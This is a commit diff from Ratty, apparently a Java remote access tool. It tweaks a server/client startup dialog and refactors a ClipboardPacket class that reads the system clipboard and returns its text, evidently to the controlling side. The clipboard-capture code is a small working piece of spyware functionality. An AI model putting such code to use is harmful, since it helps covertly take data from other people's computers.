Browse Source

Minor changes

master
Sogomn 9 years ago
parent
commit
0fbb1f4c5e
  1. 6
      Ratty/src/de/sogomn/rat/Ratty.java
  2. 5
      Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java

6
Ratty/src/de/sogomn/rat/Ratty.java

@ -102,15 +102,13 @@ public final class Ratty {
connectToHost(address, port);
} else {
final String[] options = {"Server", "Client"};
final int input = JOptionPane.showOptionDialog(null, "Server or client?", "Choose", JOptionPane.YES_NO_OPTION, JOptionPane.QUESTION_MESSAGE, null, options, null);
final int input = JOptionPane.showOptionDialog(null, "Server or client?", null, JOptionPane.YES_NO_OPTION, JOptionPane.QUESTION_MESSAGE, null, options, null);
if (input == JOptionPane.YES_OPTION) {
System.out.println("Starting server");
System.out.println("Server");
startServer(port);
} else if (input == JOptionPane.NO_OPTION) {
System.out.println("Starting client");
connectToHost(address, port);
}
}

5
Ratty/src/de/sogomn/rat/packet/ClipboardPacket.java

@ -2,6 +2,7 @@ package de.sogomn.rat.packet;
import java.awt.HeadlessException;
import java.awt.Toolkit;
import java.awt.datatransfer.Clipboard;
import java.awt.datatransfer.DataFlavor;
import java.awt.datatransfer.UnsupportedFlavorException;
import java.io.IOException;
@ -17,6 +18,7 @@ public final class ClipboardPacket extends AbstractPingPongPacket {
public ClipboardPacket() {
type = REQUEST;
clipboardContent = "";
}
@Override
@ -44,7 +46,8 @@ public final class ClipboardPacket extends AbstractPingPongPacket {
type = DATA;
try {
final Object clipboardObject = Toolkit.getDefaultToolkit().getSystemClipboard().getData(DataFlavor.stringFlavor);
final Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard();
final Object clipboardObject = clipboard.getData(DataFlavor.stringFlavor);
if (clipboardObject != null) {
clipboardContent = (String)clipboardObject;

Loading…
Cancel
Save